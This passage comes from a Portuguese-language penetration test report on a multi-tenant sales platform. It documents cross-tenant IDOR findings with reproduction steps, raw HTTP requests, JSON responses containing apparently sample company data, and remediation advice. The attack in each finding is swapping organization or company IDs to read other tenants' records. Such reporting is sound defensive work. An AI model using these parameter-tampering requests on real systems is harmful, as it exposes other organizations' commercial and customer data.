        "razao_social": "EMPRESA DESTINATÁRIA TESTE LTDA",
        "cnpj": "11444777000161"
      },
      ...
    }
  ],
  "success": true
}
```

```
---
```

```
3/7 - GET /vendas/api/precos/padrao/615540/pedidos?empresa_id=337 HTTP/2
```

```
Cookie: token=<sessão de teste do Tenant B omitida>
```

```
Resposta HTTP 200:
```

```
{
  "pedidos": [
    {
      "numero_pedido": "PED-000031",
      "data": "2026-06-01",
      "itens_count": 1,
      "referencia": "REF-4871",
      "arquivo_id": "487198"
    }
  ],
  "success": true
}
```

---

4/7 - GET /vendas/api/precos/padrao/count?empresa\_id=337&tipo=venda&year=2026&month=3 HTTP/2  
Cookie: token=<sessão de teste do Tenant B omitida>

Resposta HTTP 200:

```
{"counts":{"inconsistente":0,"rascunho":76,"ativo":0},"success":true}
```

---

5/7 - GET /vendas/api/precos/padrao?empresa\_id=337&page=1&per\_page=3 HTTP/2  
Cookie: token=<sessão de teste do Tenant B omitida>

Resposta HTTP 200 (trecho):

```
{"regras":[{"id":615540,"empresa_id":337,"org_id":12,...},{id":402576,"empresa_id":337,"cliente":{"razao_social":"AURORA DISTRIBUIÇÃO LTDA","cnpj":"41208665000104"},...},{id":402575,...}], "pagination":{"current_page":1,"last_page":181,"per_page":3,"total":543},"success":true}
```

---

6/7 - GET /vendas/api/precos/padrao/detail-filter-options?empresa\_id=337 HTTP/2  
Cookie: token=<sessão de teste do Tenant B omitida>

Resposta HTTP 200:

```
{"options":{"canais":[],"categorias":[],"skus":[],"segmentos":[],"ufs":[]},"success":true,"total_regras":0}
```

---

7/7 - GET /vendas/api/precos/padrao/groups?empresa\_id=337&tipo=venda HTTP/2  
Cookie: token=<sessão de teste do Tenant B omitida>

Resposta HTTP 200:

```
{"groups":[],"success":true,"total_regras":0,"total_groups":0}
```

Nos testes 6/7 e 7/7 o resultado veio vazio (sem regras elegíveis para aquele agrupamento específico), mas o HTTP 200, em vez de 403, já confirma por si só a ausência de checagem de tenant nessas duas rotas.

## REMEDIÇÃO

Implementar a checagem de tenant uma única vez, em um middleware/decorator compartilhado por todas as rotas de `pricing.controller.ts` (e idealmente por toda a API), em vez de reimplementá-la endpoint a endpoint.

## REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## IDOR em Geração de Relatório de Conciliação – Exfiltração de PDF de Terceiros

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/conciliacao/relatorio/:resultadoid

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

### DESCRIÇÃO

O endpoint gera e entrega um documento PDF completo de relatório de conciliação de pedidos a partir de um `resultado_id` + `empresa_id`, sem validar se pertencem à organização da sessão autenticada. Diferente dos demais achados de leitura do Vendas (que vazam JSON), aqui o atacante baixa um documento formatado e pronto para uso, pertencente a uma empresa cliente de outra organização concorrente. O `empresa_id` não é sequer usado para autorização, tornando possível enumerar relatórios com qualquer valor desse parâmetro, por isso fica à frente dos demais achados de leitura de endpoint único: o dado sai em formato pronto para uso indevido (compartilhar, imprimir, anexar), não apenas como JSON bruto.

**Como reproduzir:** obter um `resultado_id` de uma empresa de outra organização; chamar GET `/vendas/api/conciliacao/relatorio/<resultado_id>?empresa_id=<empresa_da_vítima>` com sessão de outra organização.

### IMPACTO

Exfiltração de documento formatado pronto para uso (não apenas dado bruto em JSON), o que facilita o uso indevido. Mesma causa raiz dos demais achados de conciliação: falta de checagem de tenant no `empresa_id/resultadoid`.

### EVIDÊNCIA

Requisição com `resultado_id=4821663` e `empresa_id=145` usando sessão do Tenant A retornou HTTP 200 com Content-Type: `application/pdf`: um PDF válido, contendo dados de pedidos da empresa 145, pertencente ao Tenant B.

```
GET /vendas/api/conciliacao/relatorio/4821663?empresa_id=145 HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant A omitida>
Accept: application/json, text/plain, */*
Referer: https://app.exemplo.com.br/vendas/dashboard
```

```
Resposta HTTP 200:
Content-Type: application/pdf
```

```
%PDF-1.7
```

```
%âãïó
```

```
1 0 obj
```

```
<< /Type /Catalog /Pages 2 0 R >>
```

```
endobj
```

```
...
```

```
[corpo binário do PDF omitido aqui - arquivo completo de 3+ páginas salvo como evidência local, assinatura %PDF-1.7 e metadados do gerador confirmam documento válido]
```

A assinatura %PDF-1.7 e o dicionário /Info confirmam tratar-se de um PDF real gerado pelo backend a partir dos dados da empresa vítima, não um erro ou um placeholder.

## REMEDIÇÃO

Validar posse do `resultado_id/empresa_id` antes de iniciar a geração do PDF. Tratar como prioridade alta de correção dado o impacto (exfiltração de documento formatado) e a facilidade de exploração (basta trocar um parâmetro numérico).

## REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

### IDOR em Detalhes de Item de Pedido (PII de Clientes de Terceiros)

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/conciliacao/detalhes/tipo/:id

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

## DESCRIÇÃO

Endpoint de acesso direto a um item de pedido por `resultado_id` (numérico sequencial). Mesmo informando o `empresa_id` correto da empresa vítima, o endpoint retorna os dados completos do item, incluindo dados do cliente do pedido (razão social, CNPJ, código, município), sem checar se `resultado_id/empresa_id` pertencem à organização da sessão. É possível chamar o endpoint com qualquer `empresa_id`. Fica à frente dos demais achados de endpoint único por vazar dado pessoal/cadastral de um terceiro (o cliente da empresa vítima), não apenas dado da própria empresa vítima.

**Como reproduzir:** obter um `resultado_id` (via Achado 11 ou enumeração); chamar GET `/vendas/api/conciliacao/detalhes/pedido/<resultado_id>?empresa_id=<empresa_da_vitima>` com sessão de outra organização.

## IMPACTO

Vazamento de PII/dados cadastrais de terceiros (clientes das empresas vítimas) e de dados comerciais detalhados por transação individual.

## EVIDÊNCIA

Requisição com `resultado_id=4821663` e `empresa_id=145` usando sessão do Tenant A retornou HTTP 200 com razão social, CNPJ, código e município do cliente do pedido, empresa pertencente ao Tenant B.

```
GET /vendas/api/conciliacao/detalhes/pedido/4821663?empresa_id=145 HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant A omitida>
Accept: application/json, text/plain, */*
Referer: https://app.exemplo.com.br/vendas/dashboard

Resposta HTTP 200:
{"detalhes":{"cliente":{"segmento":"Comércio Varejista","cnpj":"61335028000119",
"tipo":"Revenda","id":89547,"codigo_cliente":"CLI-9107157805",
"municipio":"Londrina","razao_social":"LOGSUL DISTRIBUIÇÃO E LOGÍSTICA LTDA",
"uf":"PR"},
"pedido_item":{"canal":"online","sku":"33074900"},
"produto":{"codigo":"0000001830","descricao":"DIFUSOR AROMÁTICO 100ML LAVANDA"},
"valores":{"desconto":12.0,"valor_bruto":107.52,"categoria":"Revenda","data_pedido":"2026-06-01",
"valor_liquido":94.62}},"success":true}
```

A sessão usada pertence à organização AURORA DISTRIBUIÇÃO LTDA (Tenant A); "LOGSUL DISTRIBUIÇÃO E LOGÍSTICA LTDA" é cliente de um pedido da empresa 145, que pertence ao Tenant B: CNPJ e código de cliente completos de um terceiro alheio à sessão autenticada.

#### REMEDIÇÃO

Validar, antes de montar a resposta, que o `resultado_id` pertence a uma empresa da `org_id` da sessão, sem confiar apenas no `empresa_id` informado pelo client como escopo de autorização.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## IDOR em Evolução Histórica de Faturamento (Valores Financeiros Reais)

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/conciliacao/dashboard/evolucao

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

#### DESCRIÇÃO

Retorna a série histórica mês a mês do faturamento de uma empresa, incluindo valores monetários reais (`valor_faturado`, `valor_pendente`, `valor_total_pedidos`), filtrando apenas por `empresa_id` na query, sem checar posse.

**Como reproduzir:** autenticado com sessão de uma organização qualquer, chamar GET `/vendas/api/conciliacao/dashboard/evolucao?empresa_id=<id_da_vítima>&canal=online&year=<ano>&month=<mês>&months=<n>`.

#### IMPACTO

Exposição de dados financeiros/faturamento reais (não apenas metadados) de empresas de organizações concorrentes, informação comercialmente sensível. No teste, valores como R\$ 318.240,55 (abril/2026) e R\$ 264.117,90 (maio/2026) de faturamento foram expostos para uma

empresa de outra organização.

## EVIDÊNCIA

Requisição autenticada com sessão de teste do Tenant A contra `empresa_id=145` (empresa do Tenant B) retornou HTTP 200 com série histórica de 6 meses e valores monetários reais.

```
GET
/vendas/api/conciliacao/dashboard/evolucao?empresa_id=145&canal=online&year=2026&month=6&months=6
HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant A omitida>
Accept: application/json, text/plain, */*
Referer: https://app.exemplo.com.br/vendas/dashboard

Resposta HTTP 200 (trecho):
{"empresa_id":145,"meses_consultados":6,"periodo_inicio":"2026-01","periodo_fim":"2026-06",
"pontos":[
  {"periodo":"2026-04","rotulo":"04/26","tem_dado":true,"percentual_faturado":99.52,
    "valor_faturado":318240.55,"valor_pendente":1523.44,"valor_total_pedidos":319763.99},
  {"periodo":"2026-05","rotulo":"05/26","tem_dado":true,"percentual_faturado":97.47,
    "valor_faturado":264117.90,"valor_pendente":6841.20,"valor_total_pedidos":270959.10}
],"success":true,"canal":"online"}
```

## REMEDIÇÃO

Mesma correção do Achado 11: validar `empresa.org_id` contra a sessão antes de montar a resposta.

## REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

### IDOR em Detalhamento e Fechamento de Vendas por Empresa

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/conciliacao/dashboard/detalhamento ; GET /vendas/api/fechamento-vendas/:empresaid

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

## DESCRIÇÃO

Dois endpoints correlatos vazam dados comerciais por empresa sem checagem de posse. O `detalhamento` retorna a listagem linha a linha dos itens de pedido (produto, SKU, canal, valores, status) filtrando apenas por `empresa_id`. O `fechamento-vendas` recebe o `empresaId` como parâmetro de path e retorna razão social e CNPJ completos da empresa vítima, além de valores monetários reais agrupados por canal. Em ambos, qualquer organização autenticada consegue ler os dados de qualquer outra empresa da plataforma, bastando um `empresa_id` (inteiro sequencial, facilmente enumerável).

**Como reproduzir:** autenticado como uma organização qualquer (Tenant A), chamar GET `/vendas/api/conciliacao/dashboard/detalhamento?empresa_id=<id_da_vítima>&canal=online&year=<ano>&mon`

th=<mês> e GET /vendas/api/fechamento-vendas/<empresaId\_vítima>?ano=<ano>&mes=<mes>&canal=todos. Ambos confirmados cross-tenant: HTTP 200 com os dados completos em vez do 403 esperado.

## IMPACTO

Vazamento de dados comerciais sensíveis (valores de produtos, descontos, canal, SKU, status de faturamento) e da identidade da empresa (razão social/CNPJ) entre organizações concorrentes. Endpoints "irmãos" no mesmo módulo (relatorios/geral, fechamento/:empresaId/historico) fazem a checagem de posse corretamente: a ausência aqui é uma falha pontual de implementação, não uma limitação arquitetural da API.

## EVIDÊNCIA

Detalhamento: sessão do Tenant A (organização AURORA DISTRIBUIÇÃO LTDA) contra empresa\_id=145 (Tenant B) retornou HTTP 200 com itens de pedido reais (10.026 no total). Fechamento: sessão do Tenant B contra empresa\_id=337 (Tenant A) retornou razão social ("POLIMAX INDÚSTRIA DE PLÁSTICOS LTDA"), CNPJ e fechamento de vendas real.

```
Detalhamento - GET
/vendas/api/conciliacao/dashboard/detalhamento?empresa_id=145&canal=online&year=2026&month=5&page=1&page_size=5 HTTP/2
Cookie: token=<sessão de teste do Tenant A omitida>

Resposta HTTP 200 (trecho, 1 de 5 resultados nesta página, 10.026 no total):
{"has_next":true,"page":1,"page_size":5,"total":10026,"success":true,
 "resultados":[{"id":4821663,"numero":"26736","produto_descricao":
  "DIFUSOR AROMÁTICO 100ML LAVANDA","produto_numero":"0000001830","canal":"online",
 "sku":"33074900","categoria":"Revenda","desconto":12.0,"valor_bruto":107.52,"valor_liquido":94.62
 ,
  "status":"faturado","origem":"Portal"}, ...]}

---

Fechamento - GET /vendas/api/fechamento-vendas/337?ano=2026&mes=6&canal=todos HTTP/2
Cookie: token=<sessão de teste do Tenant B omitida>

Resposta HTTP 200:
{"data":{"grupos":[{"canal":"5000","descricao":"Vendas ao Consumidor Final",
 "subgrupos":{"loja":{"canal":"loja","totais":{"valor_bruto":512630.84,"valor_total":512630.84,
 "valor_comissao":92273.55}}},"totais":{"valor_bruto":512630.84,"valor_comissao":92273.55}}]},
 "empresa":{"id":337,"cnpj":"44.902.176/0001-33","razao_social":"POLIMAX INDÚSTRIA DE PLÁSTICOS
 LTDA"},
 "filtros":{"ano":2026,"mes":6,"canal":"todos"},"success":true}
```

Os valores de faturamento bruto (R\$ 512.630,84) e comissão (R\$ 92.273,55), junto de razão social e CNPJ, pertencem a uma empresa do Tenant B/A lida a partir de uma sessão sem qualquer vínculo.

## REMEDIAÇÃO

Adicionar, nos handlers dos dois endpoints, verificação server-side `empresa.org_id == sessao.org_id` antes de montar a query, replicando a checagem já usada corretamente em GET /api/conciliacao/dashboard e GET /api/fechamento/:empresaId/historico. Adicionar teste de regressão cross-tenant cobrindo empresa\_id como parâmetro de query e de path.

## REFERÊNCIAS

## IDOR em Dashboard Interativo Expando Dados Agregados de Outras Organizações

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/dashboard/interativo

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

### DESCRIÇÃO

O parâmetro `usuario_ids` do dashboard interativo não é restrito à organização da sessão: o mesmo valor de `usuario_ids` retorna conjuntos completamente diferentes de dados dependendo de qual sessão faz a chamada. Embora a resposta seja agregada (IDs de empresas, totais por vendedor) em vez de dado linha-a-linha, o volume e a sensibilidade do que é exposto (nomes reais de vendedores, carteira de 71 empresas de múltiplas organizações e valores de movimentação de vendas) justificam VC:H e classificação **Alta**.

**Como reproduzir:** chamar GET /vendas/api/dashboard/interativo?usuario\_ids=<id> com sessões de organizações diferentes e comparar as listas de `empresa_ids` retornadas.

### IMPACTO

Com a sessão de uma organização (Tenant B), a mesma chamada que retornava 8 empresas da própria organização do Tenant A passou a retornar 71 empresas de múltiplos vendedores e organizações distintas, incluindo totais de movimentação de vendas reais: vazamento de estrutura interna da carteira de clientes da plataforma como um todo, não apenas de uma empresa isolada.

### EVIDÊNCIA

Requisição GET /vendas/api/dashboard/interativo?usuario\_ids=13 com sessão de uma organização retornou 8 `empresa_ids`; a mesma chamada com sessão de outra organização retornou 71 `empresa_ids` distribuídos entre 7 vendedores de organizações distintas, com valores de movimentação agregados.

Requisição de linha de base - GET /vendas/api/dashboard/interativo?usuario\_ids=13 HTTP/2  
Cookie: token=<sessão de teste, organização AURORA DISTRIBUIÇÃO LTDA, omitida>

Resposta HTTP 200:

```
{"success":true,"kpis":{"total_empresas":8,"empresas_pendentes":8},  
  "filtros":{"usuario_ids":[13],"empresa_ids":[28,102,103,104,105,106,107,109]}}
```

---

Mesma chamada, sessão de OUTRA organização - GET /vendas/api/dashboard/interativo?usuario\_ids=13 HTTP/2

Cookie: token=<sessão de teste, organização PRISMA COMÉRCIO, omitida>

Resposta HTTP 200 (trecho):

```
{"success":true,"kpis":{"total_empresas":71,"empresas_pendentes":71,  
  "valor_total_operacoes":115.34},  
  "vendedores":[  
    {"id":22,"nome":"Ana Beatriz  
Nunes","empresas_count":7,"empresas_ids":[38,39,41,42,43,45,133]},  
    {"id":19,"nome":"Letícia Moraes","tipo_usuario":"organizacao","empresas_count":4,  
      "empresas_ids":[26,57,135,145],"movimento_vendas_total":115.34},  
    {"id":31,"nome":"Rafael Teixeira","empresas_count":12,  
      "empresas_ids":[48,49,50,51,52,53,54,55,134,152,153,154]}, ... ],  
  "filtros":{"usuario_ids":[13],  
    "empresa_ids":[5,6,7,8,11,12,25,26,27,29,30,31,32,33,34,35,36,38,39,41,42,43,45,47,48,49,  
      50,51,52,53,54,55,57,59,60,61,62,64,67,68,69,70,71,72,73,75,76,77,80,81,82,90,122,124,126,  
      127,128,129,130,133,134,135,137,138,141,142,144,145,152,153,154]}}
```

O mesmo parâmetro `usuario_ids=13` (que, na sessão original, mapeia para um vendedor da própria organização) retorna, na sessão de outra organização, uma lista completamente diferente de 71 empresas pertencentes a vendedores e organizações que não têm nenhuma relação com quem fez a chamada.

## REMEDIAÇÃO

Restringir a resposta do endpoint aos `usuario_ids/empresa_ids` que pertencem à `org_id` da sessão autenticada, com checagem server-side antes de montar o agregado.

## REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## IDOR em Regras de Promoção e Desconto

ALTA

CVSS 8.2

STATUS Aberto

ATIVO GET /vendas/api/promocooes/regras

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

## DESCRIÇÃO

Endpoint de regras de promoção/desconto não valida posse do `empresa_id` informado na query,

expondo dados completos de cliente (razão social, CNPJ, cidade) vinculados às promoções de uma empresa de outra organização. Mesma família estrutural do Achado 7, mas restrito a um único endpoint, por isso vem depois dele na lista.

**Nota:** este achado diz respeito a regras de promoção **processadas pelo portal Vendas** (rota /vendas/api/promocoões/...), e não ao portal **Cadastros**. As duas superfícies foram exercitadas separadamente. O portal Cadastros (app.exemplo.com.br/cadastros) **não apresentou nenhuma falha confirmada** (ver Seção 4).

**Como reproduzir:** chamar GET

/vendas/api/promocoões/regras?empresa\_id=<empresa\_da\_vítima>&page=1&per\_page=<n> com sessão de outra organização.

#### IMPACTO

Vazamento de dados cadastrais de clientes de terceiros através da configuração de promoções de uma empresa concorrente.

#### EVIDÊNCIA

Sessão do Tenant B contra empresa\_id=337 (Tenant A) retornou HTTP 200 com 308 regras de promoção reais, expondo cliente "AURORA DISTRIBUIÇÃO LTDA" (CNPJ, município).

```
GET /vendas/api/promocoões/regras?empresa_id=337&page=1&per_page=5 HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant B omitida>
Accept: application/json, text/plain, */*
Referer: https://app.exemplo.com.br/vendas/dashboard

Resposta HTTP 200 (trecho, 1 de 5 registros retornados, 308 no total):
{"data":[{"id":87308,"canal":"online","categoria":"410","sku":"54050000","tipo":"PROMOCAO",
"cliente_razao_social":"AURORA DISTRIBUIÇÃO LTDA","cliente_cnpj":"41208665000104",
"cliente_municipio":"CAMPINAS","cliente_uf":"SP",
"produto_descricao":"FITA ADESIVA INDUSTRIAL 50MM - DEVOLUÇÃO PED: 45278"}, ...],
"pagination":{"page":1,"pages":62,"per_page":5,"total":308},"success":true}
```

#### REMEDIÇÃO

Mesma correção do Achado 7: este endpoint pertence à mesma família estrutural do módulo de precificação.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## IDOR em Validação de Regras de Preço (Família /validate)

ALTA

CVSS 8.2

STATUS Aberto

ATIVO POST /vendas/api/precos/padrao/validate (e possivelmente atacado, distribuidor, e-commerce, marketplace)

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

## DESCRIÇÃO

Endpoint de leitura (roda validação de regras e retorna divergências/sugestões, não persiste nada). Recebe `empresa_id` no corpo da requisição e não valida posse: retorna a regra completa (com `empresa_id/org_id/id` reais) de uma empresa de outra organização. A mesma estrutura provavelmente se repete nas rotas irmãs de outras tabelas de preço (não testadas individualmente por serem estruturalmente idênticas). O achado fica por último no grupo de achados Altos justamente por essa parcela ainda não confirmada por teste direto.

**Como reproduzir:** chamar `POST /vendas/api/precos/padrao/validate` com body `{"empresa_id": <empresa_da_vítima>, "status_filtro": "rascunho"}` usando sessão de outra organização.

## IMPACTO

Vazamento de regra de preço completa de empresa de outra organização. Como o endpoint irmão de escrita (`apply-suggestion`) recebe apenas `regra_id` sem checagem visível de posse no código estático, este achado de leitura reforça a probabilidade de que a escrita também seja vulnerável. Recomenda-se teste dirigido nesse endpoint.

## EVIDÊNCIA

Sessão do Tenant B contra `empresa_id=337` (Tenant A) retornou HTTP 200 com a regra completa (`regra_atual`) da empresa vítima.

```
POST /vendas/api/precos/padrao/validate HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant B omitida>
Content-Type: application/json

{"empresa_id":337,"status_filtro":"rascunho"}

Resposta HTTP 200:
{"success":true,"empresa_id":337,"total_regras":1,"total_sugestoes":0,
 "regras_corretas":1,"regras_com_sugestoes":0,
 "message":"Validação concluída. 0 regras com sugestões e 1 corretas de 1 analisadas.",
 "corretas":[{"regra_id":615540,"canal":"loja","categoria":"A","descricao":"Preço padrão matriz SP",
  "regra_atual":{"id":615540,"empresa_id":337,"org_id":12,"margem":18.0,
  "sku":"84713012","status":"rascunho","cliente_id":90005}}]}
```

## REMEDIÇÃO

Validar `empresa_id` do corpo contra a `org_id` da sessão. Reavaliar as rotas irmãs (`atacado`, `distribuidor`, `e-commerce`, `marketplace /validate`), que compartilham a mesma implementação, e testar dirigidamente o endpoint de escrita `apply-suggestion`.

*(Nota: a recomendação de correção de validação é semelhante à do Achado 7.)*

## REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## IDOR (BOLA) em Vínculos de Carteira de Clientes (linked/unlinked) - Vazamento Cross-Tenant

MÉDIA

CVSS 6.9

STATUS Aberto

ATIVO GET /api/gestao/users/links/linked/{userId} ; GET /api/gestao/users/links/unlinked/{userId}

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP API1:2023 / OWASP Top 10 A01:2021

### DESCRIÇÃO

Os endpoints GET /users/links/linked/{userId} e GET /users/links/unlinked/{userId} **não validam se o userId informado pertence à organização (tenant) da sessão autenticada**. Qualquer usuário autenticado na plataforma (independente da organização a que pertence) consegue, informando o userId de um usuário de **outra** organização, obter a lista completa de empresas-cliente vinculadas (ou não vinculadas) àquele usuário, incluindo companyName e cnpj reais.

O endpoint linked é o mais grave: **não exige nem sequer o parâmetro orgId**: apenas o userId no path já é suficiente para retornar a carteira completa de clientes de um usuário de outro tenant.

Este achado é uma **exceção pontual** dentro do próprio portal Gestão: a grande maioria dos ~30 outros endpoints exercitados nesta bateria está corretamente protegida (ver tabela de contraste abaixo).

### Como reproduzir:

- **linked**: chamar GET /api/gestao/users/links/linked/<userId\_de\_outro\_tenant> com o JWT do atacante.
- **unlinked**: chamar GET /api/gestao/users/links/unlinked/<userId\_de\_outro\_tenant>?orgId=<orgId\_do\_tenant\_vítima> com o JWT do atacante.

### IMPACTO

Divulgação da **razão social e CNPJ real de todas as empresas-cliente** de uma organização concorrente/terceira, para qualquer usuário autenticado da plataforma (nem precisa ser admin: o endpoint não faz checagem de role além de exigir sessão válida).

O endpoint linked não exige orgId: apenas o userId. Como userIds de outros tenants aparecem com frequência em respostas JSON legítimas do próprio painel (tráfego de rede capturado durante uso normal), tickets de suporte e logs, a superfície de exposição é maior do que um ID opaco sugere.

### EVIDÊNCIA

Contas usadas no teste:

- **Atacante**: tenantA: "Teste NilWave 1" (testing1@nilwave.com.br), organização **AURORA DISTRIBUIÇÃO LTDA** (orgId=org\_9f3a2b7c1d8e4056), **sem nenhuma empresa vinculada à sua própria organização**.
- **Vítima**: tenantB: "Teste NilWave 3" (testing3@nilwave.com.br), organização **PRISMA COMÉRCIO LTDA** (orgId=org\_2c8e1a4d7b90f3), com 9 empresas-cliente cadastradas.
- **userId vítima usado**: usr\_w9mgopaew605ii8 (usuário da organização PRISMA, observado no tráfego capturado do próprio painel da vítima).

```

1/2 - GET /api/gestao/users/links/linked/usr_w9mgopaew605ii8 HTTP/2
Host: app.exemplo.com.br
Cookie: token=<JWT do atacante, tenantA/AURORA>

Resposta HTTP 200:
{"totalItems":7,"companies":[
  {"id":"cmp_0y75w7r4yw0l8","cnpj":"47118902000125","companyName":"AGROTEC MÁQUINAS AGRÍCOLAS LTDA","tradeName":"AGROTEC"},
  {"id":"cmp_at0r3whityxo9n","cnpj":"52330641000188","companyName":"COMERCIAL BANDEIRANTES LTDA","tradeName":"BANDEIRANTES"},
  {"id":"cmp_q2w2k4qajo7nn","cnpj":"19845720000114","companyName":"NUTRIVALE ALIMENTOS LTDA","tradeName":"NUTRIVALE"},
  {"id":"cmp_poiab4h2zcyhg","cnpj":"30512667000190","companyName":"AUTOPEÇAS CENTRAL LTDA","tradeName":"AUTOPEÇAS CENTRAL"},
  {"id":"cmp_88mnquy5nhhp7","cnpj":"22907415000163","companyName":"ISOTECH PRODUTOS ELÉTRICOS LTDA","tradeName":"ISOTECH"},
  {"id":"cmp_bw3oubk18wha9","cnpj":"08771339000146","companyName":"AROMAX ÓLEOS E ESSÊNCIAS LTDA","tradeName":"AROMAX"},
  {"id":"cmp_tn47jydh896e6","cnpj":"45660128000107","companyName":"TÊXTEL HORIZONTE LTDA","tradeName":"HORIZONTE"}
]}

---

2/2 - GET /api/gestao/users/links/unlinked/usr_w9mgopaew605ii8?orgId=org_2c8e1a4d7b90f3 HTTP/2
Host: app.exemplo.com.br
Cookie: token=<JWT do atacante, tenantA/AURORA>

Resposta HTTP 200:
{"totalItems":2,"companies":[
  {"id":"cmp_1lvrmqw0m30eb","cnpj":"53229874000151","companyName":"ELETROSUL ISOLADORES S.A.","tradeName":""},
  {"id":"cmp_djzp6serrq3sy","cnpj":"48113905000172","companyName":"MW MÁQUINAS LTDA","tradeName":""}
]}

```

O atacante (organização AURORA, que não tem nenhuma empresa vinculada) recebeu a lista completa das 7 empresas-cliente vinculadas ao usuário da PRISMA: dado 100% do outro tenant. No endpoint `unlinked`, o `orgId` da vítima **é** enviado na query, mas não há nenhuma validação cruzando esse parâmetro com o `orgId` real do JWT do chamador.

**Contraste: endpoints protegidos corretamente no mesmo portal Gestão (mesmas sessões de teste):**

| Endpoint                                                             | Resultado cross-tenant                    |
|----------------------------------------------------------------------|-------------------------------------------|
| GET /companies, GET /users                                           | Escopam pelo JWT - <b>protegido</b>       |
| GET /pedidos/{companyId}                                             | 403 Forbidden - <b>protegido</b>          |
| GET /products, GET /products/{id}, GET /products/production/cost/... | 403 Forbidden - <b>protegido</b>          |
| GET /outputs/{sales,margins,management,costs}/* (21 endpoints)       | 403 Forbidden em todos - <b>protegido</b> |
| PATCH /companies/toggle/status/{id}                                  | 404 Company not found - <b>protegido</b>  |

| Endpoint             | Resultado cross-tenant           |
|----------------------|----------------------------------|
| PATCH /products/{id} | 403 Forbidden - <b>protegido</b> |
| POST /users/link     | 403 Forbidden - <b>protegido</b> |

Isso confirma que existe uma camada de autorização aplicada de forma consistente na maior parte da API do Gestão, mas que foi esquecida especificamente nos dois endpoints `users/links/linked` e `users/links/unlinked`: um gap pontual, não uma falha de arquitetura geral.

#### REMEDIÇÃO

1. Aplicar no handler de `GET /users/links/linked/{userId}` e `GET /users/links/unlinked/{userId}` a **mesma validação de ownership** já usada em `/pedidos/*`, `/products/*` e `/outputs/*`: confirmar que o `userId` do path pertence à `orgId` do JWT da sessão chamadora antes de retornar qualquer dado.
2. O endpoint `linked` deve, no mínimo, exigir e validar `orgId`. Hoje nem isso é pedido.
3. Revisar demais endpoints da família `users/*` em busca do mesmo padrão, já que este é claramente um ponto cego pontual.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)  
<https://owasp.org/API-Security/editions/2023/en/Oxa1-broken-object-level-authorization/>

## IDOR em Enumeração de Acessos e Permissões de Outras Organizações

MÉDIA

CVSS 6.9

STATUS Aberto

ATIV0 GET /api/v2/identity/orgs/:orgId/access ; GET /api/v2/identity/users/:userId/permissions

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

#### DESCRIÇÃO

`GET /api/v2/identity/orgs/:orgId/access` retorna a lista de serviços contratados por uma organização (nome do serviço, descrição, data de expiração, status) sem validar se o `:orgId` informado pertence à organização da sessão autenticada: basta conhecer o `orgId` de outra organização. A tabela de rotas do Admin também registra o mesmo padrão em `GET /api/v2/identity/users/:userId/permissions`, que permite enumerar as permissões concedidas a um usuário de outra organização a partir do `userId`. É um achado de menor severidade que os achados de dados comerciais porque expõe apenas metadados contratuais (quais serviços a organização contratou e até quando), não dados de pedidos, financeiros ou PII de clientes, mas serve como uma das vias para descobrir o `orgId` usado no Achado 3.

**Como reproduzir:** chamar `GET /api/v2/identity/orgs/<orgId_de_outra_organização>/access` com sessão de uma organização qualquer.

#### IMPACTO

Vazamento de metadados contratuais (serviços contratados, vigência) de outras organizações

clientes da Exemplo, e viabiliza a descoberta de `orgIds` de terceiros usada em outros achados de escrita cross-tenant deste relatório (Achado 3).

#### EVIDÊNCIA

```
GET /api/v2/identity/orgs/org_7b2d9e3a1f6c40/access HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste admin do Tenant A (AURORA) omitida>
Referer: https://app.exemplo.com.br/admin/usuarios

Resposta HTTP 200:
